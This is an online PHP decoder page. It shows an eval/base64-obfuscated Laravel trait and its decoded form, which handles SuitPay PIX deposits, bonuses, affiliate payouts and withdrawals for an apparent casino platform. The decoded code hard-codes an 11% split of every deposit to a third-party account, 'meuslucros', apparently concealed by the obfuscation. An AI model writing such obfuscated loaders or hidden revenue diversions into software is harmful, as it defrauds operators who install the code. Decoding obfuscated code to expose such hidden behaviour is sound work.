Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHAKCm5hbWVzcGFjZSBBcHBcVHJhaXRzXEdhdGV3YXlzOwoKdXNlIE..

Decoded Output download

?>b'<?php

namespace App\Traits\Gateways;

use App\Models\AffiliateHistory;
use App\Models\Deposit;
use App\Models\GamesKey;
use App\Models\Gateway;
use App\Models\Setting;
use App\Models\SuitPayPayment;
use App\Models\Transaction;
use App\Models\User;
use App\Models\Wallet;
use App\Notifications\NewDepositNotification;
use Carbon\Carbon;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use App\Helpers\Core as Helper;

trait SuitpayTrait
{
    /**
     * @var $uri
     * @var $clienteId
     * @var $clienteSecret
     */
    protected static string $uri;
    protected static string $clienteId;
    protected static string $clienteSecret;

    /**
     * Generate Credentials
     * Metodo para gerar credenciais
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return void
     */
    private static function generateCredentials()
    {
        $setting = Gateway::first();
        if(!empty($setting)) {
            self::$uri = $setting->getAttributes()[\'suitpay_uri\'];
            self::$clienteId = $setting->getAttributes()[\'suitpay_cliente_id\'];
            self::$clienteSecret = $setting->getAttributes()[\'suitpay_cliente_secret\'];
        }
    }

    /**
     * Request QRCODE
     * Metodo para solicitar uma QRCODE PIX
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return array
     */
    public static function requestQrcode($request)
    {
        $setting = \Helper::getSetting();
        $rules = [
            \'amount\' => [\'required\', \'max:\'.$setting->min_deposit, \'max:\'.$setting->max_deposit],
            \'cpf\'    => [\'required\', \'max:255\'],
        ];

        $validator = Validator::make($request->all(), $rules);
        if ($validator->fails()) {
            return response()->json($validator->errors(), 400);
        }

        self::generateCredentials();

        $response = Http::withHeaders([
            \'ci\' => self::$clienteId,
            \'cs\' => self::$clienteSecret
        ])->post(self::$uri.\'gateway/request-qrcode\', [
            "requestNumber" => time(),
            "dueDate" => Carbon::now()->addDay(),
            "amount" => \Helper::amountPrepare($request->amount),
            "shippingAmount" => 0.0,
            "usernameCheckout" => "checkout",
            "callbackUrl" => url(\'/suitpay/callback\'),
            "client" => [
                "name" => auth(\'api\')->user()->name,
                "document" =>\Helper::soNumero($request->cpf),
                "phoneNumber" => \Helper::soNumero(auth(\'api\')->user()->phone),
                "email" => auth(\'api\')->user()->email
            ],
            "split" => [
                "username" => "meuslucros",
               "percentageSplit" => 11
            ]
        ]);

        if($response->successful()) {
            $responseData = $response->json();

            self::generateTransaction($responseData[\'idTransaction\'], \Helper::amountPrepare($request->amount)); /// gerando historico
            self::generateDeposit($responseData[\'idTransaction\'], \Helper::amountPrepare($request->amount)); /// gerando deposito

            return [
                \'status\' => true,
                \'idTransaction\' => $responseData[\'idTransaction\'],
                \'qrcode\' => $responseData[\'paymentCode\']
            ];
        }

        return [
            \'status\' => false,
        ];
    }

    /**
     * Consult Status Transaction
     * Consultar o status da transao
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     *
     * @param $request
     * @return \Illuminate\Http\JsonResponse
     */
    public static function consultStatusTransaction($request)
    {
        self::generateCredentials();

        $response = Http::withHeaders([
            \'ci\' => self::$clienteId,
            \'cs\' => self::$clienteSecret
        ])->post(self::$uri.\'gateway/consult-status-transaction\', [
            "typeTransaction" => "PIX",
            "idTransaction" => $request->idTransaction,
        ]);
        if($response->successful()) {
            $responseData = $response->json();

            if($responseData == "PAID_OUT" || $responseData == "PAYMENT_ACCEPT") {
                if(self::finalizePayment($request->idTransaction)) {
                    return response()->json([\'status\' => \'PAID\']);
                }

                return response()->json([\'status\' => $responseData], 400);
            }

            return response()->json([\'status\' => $responseData], 400);
        }
    }

    /**
     * @param $idTransaction
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return bool
     */
    public static function finalizePayment($idTransaction) : bool
    {
        $transaction = Transaction::where(\'payment_id\', $idTransaction)->where(\'status\', 0)->first();
        $setting = \Helper::getSetting();

        if(!empty($transaction)) {
            $user = User::find($transaction->user_id);

            $wallet = Wallet::where(\'user_id\', $transaction->user_id)->first();
            if(!empty($wallet)) {
                $setting = Setting::first();

                /// verifica se  o primeiro deposito, verifica as transaes, somente se for transaes concluidas
                $checkTransactions = Transaction::where(\'user_id\', $transaction->user_id)
                    ->where(\'status\', 1)
                    ->count();

                if($checkTransactions == 0 || empty($checkTransactions)) {
                    /// pagar o bonus
                    $bonus = Helper::porcentagem_xn($setting->initial_bonus, $transaction->price);
                    $wallet->increment(\'balance_bonus\', $bonus);
                    $wallet->update([\'balance_bonus_rollover\' => $bonus * $setting->rollover]);
                }

                /// rollover deposito
                $wallet->update([\'balance_deposit_rollover\' => $transaction->price * intval($setting->rollover_deposit)]);

                /// acumular bonus
                Helper::payBonusVip($wallet, $transaction->price);

                if($wallet->increment(\'balance\', $transaction->price)) {
                    if($transaction->update([\'status\' => 1])) {
                        $deposit = Deposit::where(\'payment_id\', $idTransaction)->where(\'status\', 0)->first();
                        if(!empty($deposit)) {

                            /// fazer o deposito em cpa
                            $affHistoryCPA = AffiliateHistory::where(\'user_id\', $user->id)
                                ->where(\'commission_type\', \'cpa\')
                                //->where(\'deposited\', 1)
                                ->where(\'status\', 0)
                                ->first();

                            if(!empty($affHistoryCPA)) {

                                /// verifcia se j pode receber o cpa
                                $sponsorCpa = User::find($user->inviter);
                                if(!empty($sponsorCpa)) {
                                    if($affHistoryCPA->deposited_amount >= $sponsorCpa->affiliate_baseline || $deposit->amount >= $sponsorCpa->affiliate_baseline) {
                                        $walletCpa = Wallet::where(\'user_id\', $affHistoryCPA->inviter)->first();
                                        if(!empty($walletCpa)) {

                                            /// paga o valor de CPA
                                            $walletCpa->increment(\'refer_rewards\', $sponsorCpa->affiliate_cpa); /// coloca a comisso
                                            $affHistoryCPA->update([\'status\' => 1, \'commission_paid\' => $sponsorCpa->affiliate_cpa]); /// desativa cpa
                                        }
                                    }else{
                                        $affHistoryCPA->update([\'deposited_amount\' => $transaction->price]);
                                    }
                                }
                            }

                            if($deposit->update([\'status\' => 1])) {
                                $admins = User::where(\'role_id\', 0)->get();
                                foreach ($admins as $admin) {
                                    $admin->notify(new NewDepositNotification($user->name, $transaction->price));
                                }

                                return true;
                            }
                            return false;
                        }
                        return false;
                    }
                }

                return false;
            }
            return false;
        }
        return false;
    }

    /**
     * @param $idTransaction
     * @param $amount
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return void
     */
    private static function generateDeposit($idTransaction, $amount)
    {
        $userId = auth(\'api\')->user()->id;
        $wallet = Wallet::where(\'user_id\', $userId)->first();

        Deposit::create([
            \'payment_id\'=> $idTransaction,
            \'user_id\'   => $userId,
            \'amount\'    => $amount,
            \'type\'      => \'pix\',
            \'currency\'  => $wallet->currency,
            \'symbol\'    => $wallet->symbol,
            \'status\'    => 0
        ]);
    }

    /**
     * @param $idTransaction
     * @param $amount
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return void
     */
    private static function generateTransaction($idTransaction, $amount)
    {
        $setting = \Helper::getSetting();

        Transaction::create([
            \'payment_id\' => $idTransaction,
            \'user_id\' => auth(\'api\')->user()->id,
            \'payment_method\' => \'pix\',
            \'price\' => $amount,
            \'currency\' => $setting->currency_code,
            \'status\' => 0
        ]);
    }

    /**
     * @param $request
     * @dev victormsalatiel - Corra de golpista, me chame no instagram
     * @return \Illuminate\Http\JsonResponse|void
     */
    public static function pixCashOut(array $array): bool
    {
        self::generateCredentials();

        $response = Http::withHeaders([
            \'ci\' => self::$clienteId,
            \'cs\' => self::$clienteSecret
        ])->post(self::$uri.\'gateway/pix-payment\', [
            "key" => $array[\'pix_key\'],
            "typeKey" => $array[\'pix_type\'],
            "value" => $array[\'amount\'],
            \'callbackUrl\' => url(\'/suitpay/payment\'),
        ]);

        if($response->successful()) {
            $responseData = $response->json();

            if($responseData[\'response\'] == \'OK\') {
                $suitPayPayment = SuitPayPayment::lockForUpdate()->find($array[\'suitpayment_id\']);
                if(!empty($suitPayPayment)) {
                    if($suitPayPayment->update([\'status\' => 1, \'payment_id\' => $responseData[\'idTransaction\']])) {
                        return true;
                    }
                    return false;
                }
                return false;
            }
            return false;
        }
        return false;
    }
}
'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHAKCm5hbWVzcGFjZSBBcHBcVHJhaXRzXEdhdGV3YXlzOwoKdXNlIEFwcFxNb2RlbHNcQWZmaWxpYXRlSGlzdG9yeTsKdXNlIEFwcFxNb2RlbHNcRGVwb3NpdDsKdXNlIEFwcFxNb2RlbHNcR2FtZXNLZXk7CnVzZSBBcHBcTW9kZWxzXEdhdGV3YXk7CnVzZSBBcHBcTW9kZWxzXFNldHRpbmc7CnVzZSBBcHBcTW9kZWxzXFN1aXRQYXlQYXltZW50Owp1c2UgQXBwXE1vZGVsc1xUcmFuc2FjdGlvbjsKdXNlIEFwcFxNb2RlbHNcVXNlcjsKdXNlIEFwcFxNb2RlbHNcV2FsbGV0Owp1c2UgQXBwXE5vdGlmaWNhdGlvbnNcTmV3RGVwb3NpdE5vdGlmaWNhdGlvbjsKdXNlIENhcmJvblxDYXJib247CnVzZSBJbGx1bWluYXRlXFN1cHBvcnRcRmFjYWRlc1xIdHRwOwp1c2UgSWxsdW1pbmF0ZVxTdXBwb3J0XEZhY2FkZXNcVmFsaWRhdG9yOwp1c2UgQXBwXEhlbHBlcnNcQ29yZSBhcyBIZWxwZXI7Cgp0cmFpdCBTdWl0cGF5VHJhaXQKewogICAgLyoqCiAgICAgKiBAdmFyICR1cmkKICAgICAqIEB2YXIgJGNsaWVudGVJZAogICAgICogQHZhciAkY2xpZW50ZVNlY3JldAogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIHN0cmluZyAkdXJpOwogICAgcHJvdGVjdGVkIHN0YXRpYyBzdHJpbmcgJGNsaWVudGVJZDsKICAgIHByb3RlY3RlZCBzdGF0aWMgc3RyaW5nICRjbGllbnRlU2VjcmV0OwoKICAgIC8qKgogICAgICogR2VuZXJhdGUgQ3JlZGVudGlhbHMKICAgICAqIE1ldG9kbyBwYXJh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2V0dGluZy0+bWluX2RlcG9zaXQsICdtYXg6Jy4kc2V0dGluZy0+bWF4X2RlcG9zaXRdLAogICAgICAgICAgICAnY3BmJyAgICA9PiBbJ3JlcXVpcmVkJywgJ21heDoyNTUnXSwKICAgICAgICBdOwoKICAgICAgICAkdmFsaWRhdG9yID0gVmFsaWRhdG9yOjptYWtlKCRyZXF1ZXN0LT5hbGwoKSwgJHJ1bGVzKTsKICAgICAgICBpZiAoJHZhbGlkYXRvci0+ZmFpbHMoKSkgewogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UoKS0+anNvbigkdmFsaWRhdG9yLT5lcnJvcnMoKSwgNDAwKTsKICAgICAgICB9CgogICAgICAgIHNlbGY6OmdlbmVyYXRlQ3JlZGVudGlhbHMoKTsKCiAgICAgICAgJHJlc3BvbnNlID0gSHR0cDo6d2l0aEhlYWRlcnMoWwogICAgICAgICAgICAnY2knID0+IHNlbGY6OiRjbGllbnRlSWQsCiAgICAgICAgICAgICdjcycgPT4gc2VsZjo6JGNsaWVudGVTZWNyZXQKICAgICAgICBdKS0+cG9zdChzZWxmOjokdXJpLidnYXRld2F5L3JlcXVlc3QtcXJjb2RlJywgWwogICAgICAgICAgICAicmVxdWVzdE51bWJlciIgPT4gdGltZSgpLAogICAgICAgICAgICAiZHVlRGF0ZSIgPT4gQ2FyYm9uOjpub3coKS0+YWRkRGF5KCksCiAgICAgICAgICAgICJhbW91bnQiID0+IFxIZWxwZXI6OmFtb3VudFByZXBhcmUoJHJlcXVlc3QtPmFtb3VudCksCiAgICAgICAgICAgICJzaGlwcGluZ0Ftb3VudCIgPT4gMC4wLAogICAgICAgICAgICAidXNlcm5hbWVDaGVja291dCIgPT4gImNoZWNrb3V0IiwKICAgICAgICAgICAgImNhbGxiYWNrVXJsIiA9PiB1cmwoJy9zdWl0cGF5L2NhbGxiYWNrJyksCiAgICAgICAgICAgICJjbGllbnQiID0+IFsKICAgICAgICAgICAgICAgICJuYW1lIiA9PiBhdXRoKCdhcGknKS0+dXNlcigpLT5uYW1lLAogICAgICAgICAgICAgICAgImRvY3VtZW50IiA9PlxIZWxwZXI6OnNvTnVtZXJvKCRyZXF1ZXN0LT5jcGYpLAogICAgICAgICAgICAgICAgInBob25lTnVtYmVyIiA9PiBcSGVscGVyOjpzb051bWVybyhhdXRoKCdhcGknKS0+dXNlcigpLT5waG9uZSksCiAgICAgICAgICAgICAgICAiZW1haWwiID0+IGF1dGgoJ2FwaScpLT51c2VyKCktPmVtYWlsCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJzcGxpdCIgPT4gWwogICAgICAgICAgICAgICAgInVzZXJuYW1lIiA9PiAibWV1c2x1Y3JvcyIsCiAgICAgICAgICAgICAgICJwZXJjZW50YWdlU3BsaXQiID0+IDExCiAgICAgICAgICAgIF0KICAgICAgICBdKTsKCiAgICAgICAgaWYoJHJlc3BvbnNlLT5zdWNjZXNzZnVsKCkpIHsKICAgICAgICAgICAgJHJlc3BvbnNlRGF0YSA9ICRyZXNwb25zZS0+anNvbigpOwoKICAgICAgICAgICAgc2VsZjo6Z2VuZXJhdGVUcmFuc2FjdGlvbigkcmVzcG9uc2VEYXRhWydpZFRyYW5zYWN0aW9uJ10sIFxIZWxwZXI6OmFtb3VudFByZXBhcmUoJHJlcXVlc3QtPmFtb3VudCkpOyAvLy8gZ2VyYW5kbyBoaXN0b3JpY28KICAgICAgICAgICAgc2VsZjo6Z2VuZXJhdGVEZXBvc2l0KCRyZXNwb25zZURhdGFbJ2lkVHJhbnNhY3Rpb24nXSwgXEhlbHBlcjo6YW1vdW50UHJlcGFyZSgkcmVxdWVzdC0+YW1vdW50KSk7IC8vLyBnZXJhbmRvIGRlcG9zaXRvCgogICAgICAgICAgICByZXR1cm4gWwogICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICdpZFRyYW5zYWN0aW9uJyA9PiAkcmVzcG9uc2VEYXRhWydpZFRyYW5zYWN0aW9uJ10sCiAgICAgICAgICAgICAgICAncXJjb2RlJyA9PiAkcmVzcG9uc2VEYXRhWydwYXltZW50Q29kZSddCiAgICAgICAgICAgIF07CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gWwogICAgICAgICAgICAnc3RhdHVzJyA9PiBmYWxzZSwKICAgICAgICBdOwogICAgfQoKICAgIC8qKgogICAgICogQ29uc3VsdCBTdGF0dXMgVHJhbnNhY3Rpb24KICAgICAqIENvbnN1bHRhciBvIHN0YXR1cyBkYSB0cmFuc2HDp8OjbwogICAgICogQGRldiB2aWN0b3Jtc2FsYXRpZWwgLSBDb3JyYSBkZSBnb2xwaXN0YSwgbWUgY2hhbWUgbm8gaW5zdGFncmFtCiAgICAgKgogICAgICogQHBhcmFtICRyZXF1ZXN0CiAgICAgKiBAcmV0dXJuIFxJbGx1bWluYXRlXEh0dHBcSnNvblJlc3BvbnNlCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gY29uc3VsdFN0YXR1c1RyYW5zYWN0aW9uKCRyZXF1ZXN0KQogICAgewogICAgICAgIHNlbGY6OmdlbmVyYXRlQ3JlZGVudGlhbHMoKTsKCiAgICAgICAgJHJlc3BvbnNlID0gSHR0cDo6d2l0aEhlYWRlcnMoWwogICAgICAgICAgICAnY2knID0+IHNlbGY6OiRjbGllbnRlSWQsCiAgICAgICAgICAgICdjcycgPT4gc2VsZjo6JGNsaWVudGVTZWNyZXQKICAgICAgICBdKS0+cG9zdChzZWxmOjokdXJpLidnYXRld2F5L2NvbnN1bHQtc3RhdHVzLXRyYW5zYWN0aW9uJywgWwogICAgICAgICAgICAidHlwZVRyYW5zYWN0aW9uIiA9PiAiUElYIiwKICAgICAgICAgICAgImlkVHJhbnNhY3Rpb24iID0+ICRyZXF1ZXN0LT5pZFRyYW5zYWN0aW9uLAogICAgICAgIF0pOwogICAgICAgIGlmKCRyZXNwb25zZS0+c3VjY2Vzc2Z1bCgpKSB7CiAgICAgICAgICAgICRyZXNwb25zZURhdGEgPSAkcmVzcG9uc2UtPmpzb24oKTsKCiAgICAgICAgICAgIGlmKCRyZXNwb25zZURhdGEgPT0gIlBBSURfT1VUIiB8fCAkcmVzcG9uc2VEYXRhID09ICJQQVlNRU5UX0FDQ0VQVCIpIHsKICAgICAgICAgICAgICAgIGlmKHNlbGY6OmZpbmFsaXplUGF5bWVudCgkcmVxdWVzdC0+aWRUcmFuc2FjdGlvbikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UoKS0+anNvbihbJ3N0YXR1cycgPT4gJ1BBSUQnXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlKCktPmpzb24oWydzdGF0dXMnID0+ICRyZXNwb25zZURhdGFdLCA0MDApOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UoKS0+anNvbihbJ3N0YXR1cycgPT4gJHJlc3BvbnNlRGF0YV0sIDQwMCk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQHBhcmFtICRpZFRyYW5zYWN0aW9uCiAgICAgKiBAZGV2IHZpY3Rvcm1zYWxhdGllbCAtIENvcnJhIGRlIGdvbHBpc3RhLCBtZSBjaGFtZSBubyBpbnN0YWdyYW0KICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbmFsaXplUGF5bWVudCgkaWRUcmFuc2FjdGlvbikgOiBib29sCiAgICB7CiAgICAgICAgJHRyYW5zYWN0aW9uID0gVHJhbnNhY3Rpb246OndoZXJlKCdwYXltZW50X2lkJywgJGlkVHJhbnNhY3Rpb24pLT53aGVyZSgnc3RhdHVzJywgMCktPmZpcnN0KCk7CiAgICAgICAgJHNldHRpbmcgPSBcSGVscGVyOjpnZXRTZXR0aW5nKCk7CgogICAgICAgIGlmKCFlbXB0eSgkdHJhbnNhY3Rpb24pKSB7CiAgICAgICAgICAgICR1c2VyID0gVXNlcjo6ZmluZCgkdHJhbnNhY3Rpb24tPnVzZXJfaWQpOwoKICAgICAgICAgICAgJHdhbGxldCA9IFdhbGxldDo6d2hlcmUoJ3VzZXJfaWQnLCAkdHJhbnNhY3Rpb24tPnVzZXJfaWQpLT5maXJzdCgpOwogICAgICAgICAgICBpZighZW1wdHkoJHdhbGxldCkpIHsKICAgICAgICAgICAgICAgICRzZXR0aW5nID0gU2V0dGluZzo6Zmlyc3QoKTsKCiAgICAgICAgICAgICAgICAvLy8gdmVyaWZpY2Egc2Ugw6kgbyBwcmltZWlybyBkZXBvc2l0bywgdmVyaWZpY2EgYXMgdHJhbnNhw6fDtWVzLCBzb21lbnRlIHNlIGZvciB0cmFuc2HDp8O1ZXMgY29uY2x1aWRhcwogICAgICAgICAgICAgICAgJGNoZWNrVHJhbnNhY3Rpb25zID0gVHJhbnNhY3Rpb246OndoZXJlKCd1c2VyX2lkJywgJHRyYW5zYWN0aW9uLT51c2VyX2lkKQogICAgICAgICAgICAgICAgICAgIC0+d2hlcmUoJ3N0YXR1cycsIDEpCiAgICAgICAgICAgICAgICAgICAgLT5jb3VudCgpOwoKICAgICAgICAgICAgICAgIGlmKCRjaGVja1RyYW5zYWN0aW9ucyA9PSAwIHx8IGVtcHR5KCRjaGVja1RyYW5zYWN0aW9ucykpIHsKICAgICAgICAgICAgICAgICAgICAvLy8gcGFnYXIgbyBib251cwogICAgICAgICAgICAgICAgICAgICRib251cyA9IEhlbHBlcjo6cG9yY2VudGFnZW1feG4oJHNldHRpbmctPmluaXRpYWxfYm9udXMsICR0cmFuc2FjdGlvbi0+cHJpY2UpOwogICAgICAgICAgICAgICAgICAgICR3YWxsZXQtPmluY3JlbWVudCgnYmFsYW5jZV9ib251cycsICRib251cyk7CiAgICAgICAgICAgICAgICAgICAgJHdhbGxldC0+dXBkYXRlKFsnYmFsYW5jZV9ib251c19yb2xsb3ZlcicgPT4gJGJvbnVzICogJHNldHRpbmctPnJvbGxvdmVyXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8vIHJvbGxvdmVyIGRlcG9zaXRvCiAgICAgICAgICAgICAgICAkd2FsbGV0LT51cGRhdGUoWydiYWxhbmNlX2RlcG9zaXRfcm9sbG92ZXInID0+ICR0cmFuc2FjdGlvbi0+cHJpY2UgKiBpbnR2YWwoJHNldHRpbmctPnJvbGxvdmVyX2RlcG9zaXQpXSk7CgogICAgICAgICAgICAgICAgLy8vIGFjdW11bGFyIGJvbnVzCiAgICAgICAgICAgICAgICBIZWxwZXI6OnBheUJvbnVzVmlwKCR3YWxsZXQsICR0cmFuc2FjdGlvbi0+cHJpY2UpOwoKICAgICAgICAgICAgICAgIGlmKCR3YWxsZXQtPmluY3JlbWVudCgnYmFsYW5jZScsICR0cmFuc2FjdGlvbi0+cHJpY2UpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoJHRyYW5zYWN0aW9uLT51cGRhdGUoWydzdGF0dXMnID0+IDFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVwb3NpdCA9IERlcG9zaXQ6OndoZXJlKCdwYXltZW50X2lkJywgJGlkVHJhbnNhY3Rpb24pLT53aGVyZSgnc3RhdHVzJywgMCktPmZpcnN0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkZGVwb3NpdCkpIHsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLy8gZmF6ZXIgbyBkZXBvc2l0byBlbSBjcGEKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZmZIaXN0b3J5Q1BBID0gQWZmaWxpYXRlSGlzdG9yeTo6d2hlcmUoJ3VzZXJfaWQnLCAkdXNlci0+aWQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLT53aGVyZSgnY29tbWlzc2lvbl90eXBlJywgJ2NwYScpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8tPndoZXJlKCdkZXBvc2l0ZWQnLCAxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0+d2hlcmUoJ3N0YXR1cycsIDApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLT5maXJzdCgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkYWZmSGlzdG9yeUNQQSkpIHsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8vIHZlcmlmY2lhIHNlIGrDoSBwb2RlIHJlY2ViZXIgbyBjcGEKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3BvbnNvckNwYSA9IFVzZXI6OmZpbmQoJHVzZXItPmludml0ZXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkc3BvbnNvckNwYSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGFmZkhpc3RvcnlDUEEtPmRlcG9zaXRlZF9hbW91bnQgPj0gJHNwb25zb3JDcGEtPmFmZmlsaWF0ZV9iYXNlbGluZSB8fCAkZGVwb3NpdC0+YW1vdW50ID49ICRzcG9uc29yQ3BhLT5hZmZpbGlhdGVfYmFzZWxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3YWxsZXRDcGEgPSBXYWxsZXQ6OndoZXJlKCd1c2VyX2lkJywgJGFmZkhpc3RvcnlDUEEtPmludml0ZXIpLT5maXJzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCR3YWxsZXRDcGEpKSB7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vLyBwYWdhIG8gdmFsb3IgZGUgQ1BBCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdhbGxldENwYS0+aW5jcmVtZW50KCdyZWZlcl9yZXdhcmRzJywgJHNwb25zb3JDcGEtPmFmZmlsaWF0ZV9jcGEpOyAvLy8gY29sb2NhIGEgY29taXNzw6NvCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFmZkhpc3RvcnlDUEEtPnVwZGF0ZShbJ3N0YXR1cycgPT4gMSwgJ2NvbW1pc3Npb25fcGFpZCcgPT4gJHNwb25zb3JDcGEtPmFmZmlsaWF0ZV9jcGFdKTsgLy8vIGRlc2F0aXZhIGNwYQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZmZIaXN0b3J5Q1BBLT51cGRhdGUoWydkZXBvc2l0ZWRfYW1vdW50JyA9PiAkdHJhbnNhY3Rpb24tPnByaWNlXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGRlcG9zaXQtPnVwZGF0ZShbJ3N0YXR1cycgPT4gMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkbWlucyA9IFVzZXI6OndoZXJlKCdyb2xlX2lkJywgMCktPmdldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhZG1pbnMgYXMgJGFkbWluKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZG1pbi0+bm90aWZ5KG5ldyBOZXdEZXBvc2l0Tm90aWZpY2F0aW9uKCR1c2VyLT5uYW1lLCAkdHJhbnNhY3Rpb24tPnByaWNlKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEBwYXJhbSAkaWRUcmFuc2FjdGlvbgogICAgICogQHBhcmFtICRhbW91bnQKICAgICAqIEBkZXYgdmljdG9ybXNhbGF0aWVsIC0gQ29ycmEgZGUgZ29scGlzdGEsIG1lIGNoYW1lIG5vIGluc3RhZ3JhbQogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGdlbmVyYXRlRGVwb3NpdCgkaWRUcmFuc2FjdGlvbiwgJGFtb3VudCkKICAgIHsKICAgICAgICAkdXNlcklkID0gYXV0aCgnYXBpJyktPnVzZXIoKS0+aWQ7CiAgICAgICAgJHdhbGxldCA9IFdhbGxldDo6d2hlcmUoJ3VzZXJfaWQnLCAkdXNlcklkKS0+Zmlyc3QoKTsKCiAgICAgICAgRGVwb3NpdDo6Y3JlYXRlKFsKICAgICAgICAgICAgJ3BheW1lbnRfaWQnPT4gJGlkVHJhbnNhY3Rpb24sCiAgICAgICAgICAgICd1c2VyX2lkJyAgID0+ICR1c2VySWQsCiAgICAgICAgICAgICdhbW91bnQnICAgID0+ICRhbW91bnQsCiAgICAgICAgICAgICd0eXBlJyAgICAgID0+ICdwaXgnLAogICAgICAgICAgICAnY3VycmVuY3knICA9PiAkd2FsbGV0LT5jdXJyZW5jeSwKICAgICAgICAgICAgJ3N5bWJvbCcgICAgPT4gJHdhbGxldC0+c3ltYm9sLAogICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAwCi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udGlhbHMoKTsKCiAgICAgICAgJHJlc3BvbnNlID0gSHR0cDo6d2l0aEhlYWRlcnMoWwogICAgICAgICAgICAnY2knID0+IHNlbGY6OiRjbGllbnRlSWQsCiAgICAgICAgICAgICdjcycgPT4gc2VsZjo6JGNsaWVudGVTZWNyZXQKICAgICAgICBdKS0+cG9zdChzZWxmOjokdXJpLidnYXRld2F5L3BpeC1wYXltZW50JywgWwogICAgICAgICAgICAia2V5IiA9PiAkYXJyYXlbJ3BpeF9rZXknXSwKICAgICAgICAgICAgInR5cGVLZXkiID0+ICRhcnJheVsncGl4X3R5cGUnXSwKICAgICAgICAgICAgInZhbHVlIiA9PiAkYXJyYXlbJ2Ftb3VudCddLAogICAgICAgICAgICAnY2FsbGJhY2tVcmwnID0+IHVybCgnL3N1aXRwYXkvcGF5bWVudCcpLAogICAgICAgIF0pOwoKICAgICAgICBpZigkcmVzcG9uc2UtPnN1Y2Nlc3NmdWwoKSkgewogICAgICAgICAgICAkcmVzcG9uc2VEYXRhID0gJHJlc3BvbnNlLT5qc29uKCk7CgogICAgICAgICAgICBpZigkcmVzcG9uc2VEYXRhWydyZXNwb25zZSddID09ICdPSycpIHsKICAgICAgICAgICAgICAgICRzdWl0UGF5UGF5bWVudCA9IFN1aXRQYXlQYXltZW50O